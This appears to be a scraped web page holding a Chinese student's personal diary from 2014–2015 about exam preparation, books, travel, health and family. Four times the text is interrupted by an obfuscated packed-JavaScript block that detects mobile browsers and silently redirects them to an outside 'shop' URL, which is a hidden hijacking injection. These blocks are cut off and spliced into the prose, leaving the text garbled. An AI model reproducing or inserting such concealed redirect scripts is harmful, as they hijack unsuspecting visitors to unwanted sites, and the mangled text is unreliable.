;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260652|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你不说，他断然不知你所想，更不知如何做。 我自觉做了不少风雅事，可遇到不解风雅之人，这也无非是些可笑的事。我自己也笑，笑得心痛。心痛的，还是我自己，我终究最爱的还是自己吧。这么多心事，我却想都忘了，忘了一切，忘了自己是谁。我现在坐在这里，终究是孤独寂寞，这漫漫长夜，是无人陪的。我总想一天，会有人给我暖心。平日总是易满足，易感动，那真心现在却怕是被自己骗的。我总劝自己知足珍惜，化解自己心中的纠结。既然可满怀一颗赤子心，那现下我也忘怀好了。命终究是我自己的，他人什么的，我看淡好了。爱就爱了，以后努力不那么爱便是。我是期待太多了，期待了这么多个晚上，终究没换来一声问候。该心死了。 天还未亮，我尽力去睡。我尚好。 2014年7月30日 星期三 晴 《明朝那些事儿》看到后来我也失去了气力。亡国这种东西是不好看的，到了后来，那些出场人物我连名字都记不清了。只是看到有气节的人仍会心中油然生起一股冲动。孙承宗的退幕竟是因为党派之争……言官的骂战，官场的斗争，这分明是内部斗争把王朝拖垮了。对于历史我没什么敏感度，也只能人云亦云。看完一遍，也没记下多少，只是这份情感还是在的。多读书，稳、慎、守，然后活自己的人生。 2014年7月31日 星期四 晴 最近的泪点似乎确实太低了一点，看《查令十字街84号》也忍不住落泪。写信的美好似乎是没什么人愿意和我分享的了。只是一瞬间没有记下自己的想法，我就忘了。海芙与人的那份温暖我自己也是有的，不过这是缘起于“书”。对于书，我相对来说认识的有些晚了，不过这不碍事。我想该是这样的，看书是一种习惯、放松和享受。我会说，今天累了，看会儿书吧！而不是把书当作是一种任务，说：今天累了，就不看了。 很搞笑的是译者写的内容比原书还多。这种心情我可以理解，我在做什么事之前也喜欢给大家认真讲点我的想法，思考过程，对重点段落的理解……现在看来，我不喜欢别人做这事。自己以后也少做！《查令十字街84号》让人温暖，这让我想起了外教和我家，我们不也是这样的友谊吗？（赶紧回邮件……）还有我对于纸质品的追求，我喜欢亲身写下来，写在纸上，一本一本的日子。对了，每一本书总让我有些新的想法，比如，我想去英国的查令十字街了。 2014年8月5日 星期二 晴 天气闷的像走在一个大蒸笼里。拖了半天终于回了外教的邮件。前天看了一部迪斯尼电影，居然觉得非常脑残，以前似乎很喜欢这类电影吧！又看了一遍《千与千寻》和《龙猫》，倒还是那么可爱。 上课以后日子紧凑多了，感觉还不错。之前我老是觉得自己运气不行就不能做什么事，只能积累，现在忽然想通了，运气不行就用实力弥补。如果我只有80的实力，好运可以让我发挥到80的实力。可当我有100的实力，坏还只让我发挥了80的实力，结果却是一样的，所以我只要更努力！那种60的实力发挥成80的事，我还是不去想了，从未那么好…… 知乎上有大神说：“深度给你生存的技能，广度赋予你生活的意义。” 2014年8月19日 星期二 未知 好像考研的准备时间不太够了……青奥现场非常赞！会觉得竞技体操是一种残忍。前几天晚上十一点去KFC买夜宵看到了许多在那里过夜的人。石头城的大街小巷总会给我这样那样的惊喜，时间飞快，课也没去上几节…… 2014年8月22日 星期五 晴 难得今天自然醒的这么早。在石头城这段时间，很快乐，也算是长见识了。见了很多以前没见过的东西，衣、食、住、行都有了新的认识，对石头城也有了新的认识，对钱的认识是更加清晰了。这至少提醒我在校期间多多努力。六级的狗屁成绩我也是够了，重读英语又感觉丢了数学，哎！话太多却写不出……读书。 2014年8月31日 星期日 晴 终于又坐回到大村庄的这个位置。在石头城待的那四十天，我又重新认识了那座城市，繁华、阴凉。虽说只是呆在租住的那个小小房间，可是却很愉快。以前那种走过场式的旅行根本不足以对一座城市下断言，以前的我真是肤浅了。看到了很多以前没见过的，没想过的，时间一点一点却过得飞快，我又偷懒了。 91.大四（1） 2014年9月12日 星期五 雨 算是连续两天状态一般了，虽然也完成了任务。下午看了《色戒》，脑子有点空白。我的感觉是愚蠢和无知、无脑的爱国。我讨厌懦弱的男人。最近老是有要学习的欲望，感觉人生第一次如此主动。今天多学一点，明天多考一分。我认为自己可以考上，按这样坚持下去，一定可以！我也有自己一定要做的事，不论我以前是多少懒散，至少这次，要认真一次，考上，为了很多。 2014年9月20日 星期六 晴 对于考研成功的欲望越来越强烈，但还是不够努力。昨天和向阳哥哥打了电话，发现自己确实太放松自己了。法乎其上，得其中也。我觉得反正数学目标也定的不高，那就这样吧！可现实是，数学的状况非常不好，英语也不是按期望的那样高分。我确实应该把目标定高，然后更加努力地去奋斗！而不是满足于现有的水平。考研是水平的进阶，不只是原有实力的发挥。 今天又一次调整复习结构，向目标努力。 政治80英语80数学125专业135总420 2014年9月26日 星期五 晴 体测让我无力。加量进行顺利。毕业礼物送芬儿一条项链，硕儿一双鞋。一切都在继续，加油，好累，坚持！ 2014年10月5日 星期日 晴 这么好的天气，不适宜读书，所以我打算来进阶。混了这么多天，算是读了点书，我也早料到会疲软。这不，今天早上决定不读书，心情大好。只不过，仍旧有点忧心下午和晚上的安排……我的缺点之一。 先说“政治”问题，再说“知乎”问题。 考研对我来说无非是痛苦的选择，究其根源，不再重复……政治复习开始以后，我从国家和历史的角度来看我的个人问题。中国近代史的无奈是说不清的痛。因为统治阶级思想出了错，然后你去怪“他”，可谁不出错？你在高位保证不错？你只有实践才知道，理论的东西不好说的嘛。越看政治越发觉书上说的非常有道理：中国共产党确实伟大，毛主席确实伟大，历史的选择真的是这么一回事，不是说说这么简单的问题。我特别佩服的是对于先人的负面评价，虽然去世了，却仍旧要承受这一切，承受批评，即使功大于过。而我，连自己的过去都不能好好面对。 经验要从正反两方面总结，这句话对我是很大的鼓励。认真回想自己的经验，也真是，教训过后多少有了收敛。最厉害的无非是政权的夺取，只有真正心怀天下的人，放弃自己利益欲望和狭隘的人才能真的成功。感觉□□就是太狭隘了，国难当头却想着“□□”，凡事也要有个轻重缓急啊！动不动就自己去挖掘潜在的敌人，结果……就算真的有“潜在的敌人”，敌暗我明啊！我也有这种不好的“小想法”，结果害了自己。就在前几天，几乎又犯了同样的非常类似的错……现在的我，完全算不上实力，所以最好不要有野心。有了实力，那也不是野心，是正常追求。 毛主席说了很多话让我深感其牛*，很多人“只是形式上入党，思想完全没入党”；“结合实际，实事求是”；“本本主义”……五体投地，国家的建立发展是大家思考的问题，吾等小辈先行退下。 这两天疯狂刷“知乎”上一个叫“王豖”的答案，内心剧烈起伏（好吧，不至于，只是深感自己不太行……）。人总是被自己局限住的，我仍旧未形成自己坚定不移的强大内心系统，仍存在无知、愚昧、落后、片面、自私、狭隘的观点，其中包括对待“思想”的观点，对“男朋友”的观点，对“追求欲望、奋斗目标”即“上进”的观点，“对待他人”的观点……太多太多。 1、思想是内裤。我过于强调，又急于让大家看到，这是不自信的表现。我仍旧热衷去“炫耀”，应“见人说人话，见鬼说鬼话”。思想，只留给志同道合的人。 2、男朋友。自己做不到不去要求了，建议不要求。爱这种东西自己也要学会克制。你是什么样的人，他爱什么样的人，至少先让自己变得强大、独立、有意思。 3、我太爱评价别人，还爱挑缺点。要求自己是圣人，要求别人是贱人。可以持有自己观点，不可以恶意中伤或因为“思想”问题鄙视。不搭理就好、少评论！求你了！ 最后，贾含真同学，请你自恋地活在自己的世界里，做一个精致高尚的人。哦，原谅并接纳自己。 2014年10月12日 星期日 雨 不知道多久没看课外书了，看《随想》上的妙语连珠我也是醉了。我并没有很好地掌握一项技能，知识系统也不够完善，我要很努力很努力才行，可是呢？我喜欢跑去思考甚至仍未入门的哲学问题。为什么我们一定要记住每一个伟人的名字？明白他的思考过程不就可以了吗？ 2014年10月17日 星期五 晴 值得纪念的一天，从“马原”第一章开始到昨晚做完第二章课后习题，成功洗脑。于今天早上刷知乎一个链接再次看到“党性”而成功跳脱。具体不做讨论，仍承认共产党的伟大、强大，承认其是值得加入的队伍。 冥冥之中感到自己将卷入一场战斗。那是突如奇来的一天，我现在越努力，日后将有更大的把握取胜，不是枭，是雄。 2014年10月25日 星期六 雾？ 今天是重大的日子，我卸了知乎。当刷知乎发现了自己局限的时候，不是应该继续刷下去，因为这样并不能让你真正学到什么，你应该关掉知乎，自己去努力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276363|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活跃在知乎上的人很多不比我大几岁，经历了这些年，却有不一样的成长。我真应该反思一下自己到底是干了什么。世界这么大，和我有一样想法的人太多太多，只是因为圈子太小，接触的人不够多，所以才认为自己这样特别。其实我太普通了，就是平凡的人做平凡的努力。我一直都属于只有态度的人，该改改了。只有态度，什么也改变不了。还有64天，凑合凑合，读读书吧！哈哈。 2014年11月17日 星期一 晴 认真想想，高中后遗症仍旧明显，之前那个我真的是我？似乎在这之前的一切都让我无助，我完全无法接受自己，在我体内是否存在两个我？高中的事只是一个契机，那种痛苦因为另一个人无法承受，才激发了真正的我。人格分裂…… 也不是说无法努力，但是说不来的倦怠。什么都不想做，也不知为了什么。可不可以有个人来拯救我。 2014年11月29日 星期六 霾 大家好！我叫王小锤，是一名应届毕业大学生。就在刚刚，我打败了其他九百九十八位竞争者成为了一名光荣的环卫工人。我很期待…… 2014年12月11日 星期四 晴 人生这东西真是说不清，我今年21岁，才真正开始有了自己的一些想法，之前那些都是别人的，不是自己想通的。 二十五岁将会是人生第一次真正的机遇，我要准备好。关于完爆“211学生”这件事，没有考到211，没有完爆过就不能说。所以我只有考上华东水利才能说华东水利渣，就和没去过不能说怎样，没资格。 我真正的人生格局终于在这几年打开，面对所有的缺点都会一个一个改。我希望自己可以永远处于中偏上一点的水平，6分到8分（满分10分）。端正心态，去吧！ 这里想记下一个神奇的感受。在大学不记得几年级，在人人上看了一篇去越南的游记，我觉得棒呆，却很遥远。可就在这个寒假，我也要去越南自由行了！不要觉得自己那时想法疯狂，这不能成为你格局的限制。 哦！不judge就会忘记，所以这一刻不说就好。 2014年12月29日 星期一 晴 终于到达了“考完研以后”这个点。从决定考研到考研以前，这句话让我听了太多太多次，我也是醉了……对于考研的过程，对考试本身没感觉，但觉考卷略难。肯定是正常发挥了，其他的问题就坐等出分了。 有一种许多事情扑面而来的感觉，并不是考研结束就可以完全放松了，而是一切才刚刚开始。事情太多太乱，一定要花上一段时间梳理一下。我要背单词，锻炼身体，全面提升自己各方面实力。一切才刚刚开始，新的一年也要来了，准备迎接又一年。 92.大四（2） 2015年1月5日 星期二 霾 重装“知乎” ，人生又充满了生机，简直我灵感源泉啊！现在心里爽到飞起～这种思想的碰撞和启迪是再美好不过的。 我喜欢也希望可以记录下自己生活的一点一滴，记录下关于我自己的一切。用心去对我爱的人，经营只属于我们的时光。我努力去做很多独特的事和“大山”一起，因为只有这样，才永远的不可替代。那些只属于我们的记忆和疯狂，永远在我们心里闪光。我一直有一颗蓬勃的心，稍微地撩拨就心弦乱颤，激动地像要爆炸。 总结几件事：大山和父母对我的影响，刷知乎，坚持阅读，去美帝。感恩所有对我的帮助。 刚看了人生第一个TED，感谢木木。主题是“flow”。这里讲的“flow”是一种“忘我”的状态，就是我非常喜欢的完全投入的状态。这也解释了我为什么会喜欢做那几件事，这是快乐的真正体现，需要精力的集中和长期的训练。脑子混乱，一时再写不出更多…… 2015年1月9日 星期五 晴 发现自己真的有好多好多的缺点。 最近会有各种奇怪的想法，比如看到那种一本正经的人就会想，如果他们在和别人□□的时候也会这么正经吗？也就是一个人光着屁股的样子。 不知道从什么时候开始，我们就开始回忆青春了。我总是看到人们在回忆过去，也包括我自己。今晚看了《重返20岁》，青春多么短暂，我不是正当年吗？日后少后悔一点吧。 从2015开始做了很多所谓青春的事，整天的电视、零食、打牌、大富翁，通宵打牌，看泰剧，在外面逛了一天，下午唱了歌又去看电影、看小说、写日记、背英语，这些事在几十年后我还会做吗？ 在知乎看了几点，认为一定要记下来，我做的不好，认真改：1.不要靠出卖一个朋友的隐私来取悦和这个朋友不熟的朋友。这点我做的非常不好，必须马上改。日后说话前必定要注意，这涉及到谈话内容，那说明我要提升自己的内涵和知识面，这点非常重要！没什么可聊会去说八卦，那宁愿不说话。 2.切莫交浅言深。认真反思，最近没太犯，偶尔…… 3.超出自己认知的事情，可以不发言，不要急哄哄反对，去喷，这个世界很大，等你的知识结构和阅历到了，经历过了也许就懂了。 4.克制住生气。我的情绪来的快，去的也快，前者一定克制。 5.不要随便对一个人很好，也不要随便接受别人的好。前半句我做的非常不好……经常犯傻，后半句OK。 最后，做一个有趣又有能力的人。保护好自己的玻璃心。这一年这一刻我的想法是这样，或许很多年后我会变。可多年后我再回看今天，或许会觉得今天的我也不错。不忘初心。 2015年1月10日 星期六 晴 我被一种难以明状的悲伤包围。这次又是为了什么？早上在蹲坑的时候还在愉快地想，这是个思考的绝妙时机。 其实我有一颗玻璃心，我要保护好它。《飘逝的纸偶》给我的感觉是什么呢？陪你走到最后的人。我根本没有想过千波会死。在千波死前她遇见了良秋，在千波的生命中良秋才是最重要的人吧。她对良秋说了许多过分的话，对他任性、生气。千波是一个克制的人，她甚至对于自己的母亲，牧子、美美也不曾这样。又或许是对于死亡的焦虑吧！她刚遇见了自己的幸福就要永远地离开。人活着的意义到底是什么呢？因为曾和别人有过共同的生活碎片，所以在类似的场景或是在忽然一天的某个引导下被想起吗？那如果和你有过交集的人都逝去了呢？那如何证明你存在过呢？ 没有过真正意义上的同性朋友是我自己的问题吗？那我和J为什么可以好好相处呢？当然我们有各自的生活，可是不管相隔多久，再次相遇不仍旧是朋友吗？我太在意这些了。 其实一生中重要的人有三、四个就够了。父母、爱人、朋友，或许以后还有孩子。爱人和朋友真的都可以得到吗？珍惜眼前有的吧！怎样才是对人好？你觉得这样是好，可能只是主观上的好，就是你只感动了自己而已。关于和父母的关系，我想要学会相互谅解吧！还有那么多的感情问题，可是感情不是我生活的全部。我，学会克制。现在只要把心思放在三个人身上就够了，至于其他人，少管。 2015年1月17日 星期六 晴 《离别之音》是今年看的第二本书。几个小故事，讲的都是在生命中路过的那些人。是相处不久没说过几句话的办公室同事；是上班路上修鞋摊的主人；是注意到一次就一直注意下去的某一个来买饭的人；是发错邮件、打错电话的人；是很久未见的同学；是偶然通过朋友认识的远方的朋友。 有一种说不清的感慨。在我们的生命中，每天会和多少人擦肩而过，他们从未进入我们的生活，却又组成了我们的生活。我们每天相逢又离别，这一切让我感到自己对这个世界的眷恋。忽然一天我发现了一个人，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289548|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知为何他引起了我的注意，后来我发现自己老是可以遇见他。我开始猜测他的生活，可最后我又一定会忘记曾有这样一个人。我想不通，也猜不透，这像是在和这个世界一一告别。我庆幸我的生命，更加确信，这个世界我还没看够，不想离开。 便签 Sunrise Nba Trang BEACH HOTEL SPA 在芽庄的最后几个小时。住在这里才明白，住五星不单是几晚房费的问题，你还需要支付一系列的配套费用。这和用侈奢品一个道理。 别人是来度假。我们是来旅游。身体不好，连玩都玩不动。只是在海里泡了一下，指尖就发麻了…… 不过马路对面就是海的感觉真好，十楼观景台的感觉真好！ 努力，带父母去更好更美的地方！ 或许越南是再不会来了。 贾 2015.2.2 9：28 2015年2月6日 星期五 ？ 只怪我不够强，装得不够像，笑得不够假。 2015年2月14日 星期六 多云 事情终于算是告一段落，无奈我的深睡时间仍旧不行。现在我算是下定决心调整自己了，要有一个更好的状态去迎接未来。十年已经要过去两年，一定要坚持下去，这一生要好好活。 在越南民宿，老板娘拿着我的护照和真人比对，不敢相信那是我，说了一句，“You are nice！”这几年的变化好大，我一定要稳，要稳！去越南的游记看样子是没那么快会记了，搞不好就永远只是红本子上的几段碎片。 这么久，是该做个总结了。这次舍友集体来旅游的事让我学会了很多，没有实践过，就不要随便发言。这次对我的人生很重要，让我更加容忍，也更加理解他人的不易，也筛选出了真正的朋友。我给自己找了许多麻烦，也让自己很多时候不好过，全当是修炼吧！加油！ 2015年2月15日 星期日 雨 刚看了兰博基尼的记录片，感慨下人生。花钱买跑车到了那种地步，确实完全脱离了生活，纯粹是热爱和追求。活该法拉利嘲笑兰博基尼只是个开拖拉机的农民，然后被碾压。 2015年2月16日 星期一 晴 今天是迪拜的帆船酒店，让我更想要好好做专业！各个领域的顶尖人才合力打造的世界级梦幻酒店，这种工作的热情让我激动无比，琐事总是这么多。 93.大四（3） 2015年3月1日 星期日 阴 终于我也和大多数正常人一样，拉臭臭之前会肚子痛了！而且现在也开始越来越正常，需要每天上厕所了！慢慢调养，到二十五岁之前一定可以的！这次去姜医生那里看病，主要问题是：疲劳多度、思虑过重、压力太大。似乎是比去年好那么一点。自从用小米手环以后，每天的运动量是有的。以我现在的身体状况，每天6000步，多就会累，所以更别提什么跑步了。昨晚的深睡第一次突破了4小时。以后困了就尽量睡，不要拖。睡眠好的话，状态还是很好的～ 去实习几天？！根本不到两天……对**单位万分失望……这更坚定了我做专业的决心。国家拨款为民做事，可他们却不领情。那我为这样的人做事有什么意义？干脆我去搞科研，眼不见为净。至少现在的我，真的无法理解。 这个假期回来，我第一次有了县城不那么好的感觉。公民素质整体偏低，不论是公共道德、眼界、思想层面都非常局限，这一切让我不想再留在这里，我需要更广阔的平台。我爸天天嚷嚷的“孝心、爱心、上进心”我都有做到，只是能做到的人太少。 很多事情是在对比之后才会有所感悟。经过和身边的同龄人比较，我真心算是优秀、听话、努力。当然人生有很多种，不一定非和别人比。 父母现在即将迈入五十岁，我会非常希望开始带他们出去旅行。最好能一年一次，不行的话两年一次也行，上限是五年。那天和阿连一家吃饭，忽然发现去泰国其实可行。昨天又做了预算，大概一人五千是没问题的。我打算从16年的8月17左右开始，为父母留下属于我们的美好记忆。努力！ 感觉自己慢慢变了，会越来越好的！考研的事多亏大家的帮助，至于复试，我一定会尽力！陈教授的回件让我兴奋。今年过来说不完的幸运，越努力，越幸运！ 前些天还新认识了小朱，那钢琴叫一个赞！想到自己的破水平……练琴！每个孩子都深受家庭环境影响，所以，一定要让小朋友幸福！ 农水的进程很缓慢，总体还好，总之不放弃就行。 《冰与火之歌》好看到不行！英语倒真心没什么进展…… 2015年3月3日 星期二 雨 很多年不见手开始脱皮，或许15年真的要重获新生。我总喜欢让一切看起来有规律和条理，极爱分类和整理以及做记录。昨晚我就把自己的日记做了年份的整理，我的改变是从13年的下半年开始的，明显成熟了起来。那就是要进入大三的那个去美国的暑假开始的，我的元旦和别人不一样，一年的第一天对我来说是从三月二十二开始的，所以我的改变从我活满二十年之后展开。那之前的二十年成长没那么飞速，我也不知道为什么自己疯狂地热爱时间点。 早上看了二十几分钟的《寿司之神》，顿时有去日本吃寿司的冲动。不断地重复，就能成为一个领域的达人，加上天赋，才可以成为真正的大师。米其林的评判标准是：稳定的品质。一家餐厅应好吃到，可以为了吃这家餐厅去一个国家。我要带父母去体验一次。出生的阶级会在很大程度上影响一个人的品味。出生一般的人在追求品质生活的道路上需要不断地学习，而我就是那个在不断学习的人。我想因为我，让爱我的人感到幸福。 不记得在哪次日记中有提到，以后我的日记中尽管不再提及别人的姓名，现在我加上，甚至代号，大多数人在我的生命中太无足轻重，我要把时间和记忆留给我珍视的人。与人相处的不愉快我尽量不记录，但我会记下自己因此事得来的感悟。思考对每个人来说都太重要，我也千万不可以丢弃。 小野二郎又让我重新认识了“职业”。既然已经做了决定，就要爱它，努力把它做好，永远不可以回头。我昨天看到了初中的日记，说我的理想是成为“生物学家”，却依晰记得因为这我曾被人嘲笑。高考之后我选择了沉寂，直到今天，我仍然要这样选择。除去大部分不必要的人际，认真做好手上的事。时间统计的结果帮我更好地认识自己，安排时间，也让我自己明白是否真的努力。我决定了自己会好好做专业，不变，不输。 就是想记下，2月24那天，我手机掉进了厕所坑里，进了很多水。 2015年3月8日 星期日 阴 妇女节，没有意识到太多。中午爸妈请了一桌子的客，这就是他们的生活情趣。 大山和我从今天开始了“统计时间”比赛，这种相互竞争和相互鼓励让我觉得很快乐～我的脑子总是停不下来，它在不断地飞速旋转，新的想法，新的念头，新的计划，这让我觉得自己的人生充满希望。 昨天的TED内容是女性如何成为高层，这是非常重要的认识，需要多方面的配合。今天的公开课是《“泥靴”汉堡的上市经历》，知识的无偿分享让我成为这个时代的幸运儿。看来今天的总结不那么顺利，想的那么多，现在却不知写下什么。 我妈总会说她觉得我很幸福，那我也努力让她幸福。昨晚我和父母明确了我们相之间的联系，他们俩对我的爱和我对他们的爱是相同的，所以他们的身心与我是相连的，我们三个是一体，也要为了共同的未来努力。我可以感觉到我周边的一切因为我的努力在发生改变，我为我自己感到骄傲！ 根据ihours统计显示，我的上周共计17.2小时，是从2月9日统计以来最努力的一周。从2月8日用手环至今，运动量也每天达标，平均步数为9522/天，睡眠质量也日趋稳定。我要学会定期放松和总结，这才是我所期待的人生状态！加油！明年的时候词汇可以增长1000，身体也会更好，心态也会更平和。相由心生，放松，呼吸。 2015年3月15日 星期日 雨 县城的春天总是雨下个不停，不知道这是否是我人生最后一次在县城完整地呆够春天。我一定是有整理癖，喜欢把一切归类整理。中午没有午睡，而是把这么多年一家人的照片翻拍，标上年号。看着父母老去的脸庞心里有一种神奇。每一个人都可能经历，不，是必须经历这个过程：曾经年轻，但一定会老去。我一定尽自己所能去让父母体验我能给他们的幸福。 这一周来的ihour统计只有7.2小时，我算是半放弃又犹豫地勉强做了点事。躺在床上刷各种，查信息，打电话，尽力之后，做好再考一次研的准备。我对自己的表现很满意，没有过多的悲伤，而是飞快地思考、行动，接下来我该怎么做。而这次机会，真的让父母更加了解我，了解我的内心。我开诚布公地和他们谈，以前或许没想过会有这么一天。对于没有办法预判的事实及我的态度，让我知道自己又成长了。真正的理智和镇定，我由衷为自己高兴。即使迷茫，也不能停下脚步，加油！ 《冰与火之歌》第一部的书评等全部看完再来写，接下来的一周要做好重新看书的准备。写论文没有太多的激情，考研的事马上要尘埃落定，关于非“211、985”及非“一本”的帽子我一定会脱掉，接下去的路或许走的很艰难，但我绝不低头。 最近的一系列事物告诉我，会到今天，就是我自己实力不够。那么，我一定累积实力，重新出发。君子报仇，十年不晚！失去的一切，我一件一件挣回来！若我重新爬起，必定得到的更多。 2015年3月16日 星期一 阴 我简直是疯狂统计癖。我前面把从2月8日戴手环开始的睡眠数据全部记录下来。到今天为止，我有超过一半的时间超过晚上十二点睡觉，其中只有三天在十一点之前睡觉。上次去看中医是2月26，身体状况虚弱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对《权利游戏》的整体印象是：好看到超越《哈利·波特》。因为权利的斗争总是聪明人的游戏。写作的方法也让我耳目一新：POV. 人物的刻化赞到没得说，还有就是语言，优美且能传达一种精神。 艾德·史塔克：过于正直，有点死板，荣誉又不能当饭吃。最后因为他的正直害死了一大批追随他的人……没有一毛钱政治头脑的人却要当首相，这说明劳勃这个国王也是蠢到极致。对于如何治理国家完全没有头绪，发起战争是因为莱安娜。在我看来这个理由也是鬼扯，而且根本不考虑后果，两个好友凑成一对，二傻。 凯瑟琳·徒利：贝里席说什么她都信。抓了小恶魔，和白痴一样控制不了后来发生的一切。大多时候的理智因为这一次毁于一旦。她妹妹菜莎，疯子一个…… 罗柏·史塔克：我总觉得他没有琼恩·雪诺历害，不过他硬是接下了他母亲摆给他的烂摊子，而且在十五岁的年纪迅速成长，而且天生会打战！虽然最后被泰温·兰尼斯特用女人收拾了，他是太单纯了点，不过还是很不错的，因为他爸妈那样…… 珊莎·史塔克：三傻，想抽死她千千万万遍！后来想想，她作为一个官家小姐，每天乖乖的，很听话，确实也没什么错。只是她父母忘了，出生于权利的中心，如果只让孩子单纯，那无异于让她死。 艾莉亚·史塔克：我很喜欢这个人物。她总是做不合常理的事，沉浸在自己世界的小小欢乐中，麻烦却总找上她。根据剧透得知了她的《暗杀名单》，像极了兰尼斯特的“有仇必报”！这让人兴奋，只是她经历的磨难让人心痛。 布兰和瑞肯：对他俩我没有太多关注，对雪诺也是，期待后来他们爆发。 丹妮莉丝：我总觉得她怪怪的…… 今天居然不想写了，也罢，想了再说吧。 94.大四（4） 2015年3月21日 星期六 多云 这几天看到的TED都有关于教育，我感触很深。在很早之前浩子和我就探讨过，想要真正地改变一个国家的种种恶习，应该从教育开始，去改变一代人。孩子总是无辜的，他们被教育，然后因为教育变成了各种各样。父母的家庭教育和学校、社会，最好一样都不少。可如果实在很难，那是否可以让孩子至少得到一个。每个孩子都需要“被期待”，这是一种人生的动力。我想我以后若是有了孩子，一定尽我所能去教育他（她），让他（她）有爱又有趣。黑柳彻子的《小时候就在想的事》又给了我很多启发，其实在我们很小的时候我们就有了自己的想法，但需要人了解和帮助表达。 早上醒来第一次看了Quora的问题，我应该从今天开始，每天看一个才好。关于未来道路的选择问题，我又有了新的想法。我不能一直以“数学不好”作为我前进的屏障，一次又一次退而求其次。我既然已经想好了未来的道路，那就更应该努力向前。喜欢刺激和挑战，为何不把数学当成是新的挑战？！不要说我不可以，不要说这样一定很累，要相信我一定可以。 我只有努力爬到了更高的位置，才可以让更多人听到我的声音。我的每一个字，每一句话都将有分量！我要站在世界的领奖台上，这样人们才会轻易地相信我有能力帮助他们，相信我可以教育他们的孩子。规则是残酷的，只有先适应了，站上去了，才可能打破！加油！ 下午的某个时候，我或许是发出了我人生中最凄历的尖叫。我不管这将对我的声带造成多大的负担，我任由自己尖叫。我感到绝望和愤怒，压抑太久后的反弹让我难过。可一觉之后我又恢复了平静。我越来越善于调整和控制自己的情绪，这也意味着我对未来伴侣有更高更多的要求。我知道找到很难，可是我总不能现在就放弃。 我左边的眉毛控制不住地上翘，以前我总以为自己右边的眉毛好看，所以总是尽所能把左边的眉毛弄得不那么翘。可是今天，我忽然发现，其实我可以把右眉的下垂尾部去掉，让两只眉都上翘，这真是一种久违的和谐好看。 之前怎么也没想到，为什么说《权利的游戏》比《哈利·波特》好看，现在明白，因为权利的游戏里没有绝对的正义与邪恶，不是好人打坏人，而这才是现实。 我一直在想今后如何去教育优秀的小孩，而却抱怨现在身边家族中的小孩如何如何没有前途，那我和那些白痴老师有什么差别呢？为什么不尝试一下让我身边的小朋友喜欢上学习呢？比如，试着让小表弟得到关注，并且喜欢上英语。 2015年3月22日 星期日 多云 昨晚睡得一般，早上起来做了早饭，和父母说到悲悯心居然哭了起来……我去！ 记起了以前看《夏目友人帐》还是《滑头鬼之孙》里的情节。以前的人民因为祈求风调雨顺和丰收信奉着神明，却因科技的发展把信仰遗忘。小神因失去信仰和供奉而变得虚弱，甚至消失。于是我开始在意在村头被遗忘的土地庙。人真的是可恶的东西。而我也是愚钝。我一直在找寻远方，却忘了在意眼前。奶奶家里供奉的菩萨，当年在村里也是被许多人供奉的，放到个人家以后，也落寞了许多吧！现在连村子也在逐渐消失，我们无法阻挡时代的脚步。我想到这些总会有说不出的惆怅，流逝的是人。珍惜眼前，用心爱护身边的人吧！认真体验生活中每一个细微的美好。 这是22岁的第一天，新的一年就这样开始了，加油！刷新上周的记录！ 2015年3月25日 星期三 晴 很少这样做：把一本书和这本书改编的电影一起看了，交插进行。不懂是书丰满了电影，还是电影帮助我理解了书。 《情人》的故事发生在西贡，恰恰是去越南选择遗漏的地方。男主是中国人，原来那时在越南的中国人是非常富有的，所以女主才会成为他的情人，因为他的钱。女主的家庭是不堪的，却依旧保有白人的种族优越，她那病态的母亲、贪婪的大哥、懦弱的小弟，和狂乱的女主自己。据说，不，就是，女主就是作者，她第一眼贪恋男主的钱，后来是身体，是无尽的□□，而男主没有名字，没有尊严，没有地位，只是一个rich China man。最后，女主终于意识到，其实他们之间有爱。 女主不断不断地强调，他是一个中国人，因为这，所以女主不可能爱上他，做他的情人只能是因为钱。男主请女主家人吃的那餐饭，让我恶心。他们那么穷，还穷得没有教养。在高级餐厅里狼吞虎咽却在故意无视男主，当然，在付财的那一刻，他们无法无视钱。 男女主没有过多的沟通，他们自己说自己的事，彼此间并不了解，却因□□真正生出了感情，人是种奇怪的东西。 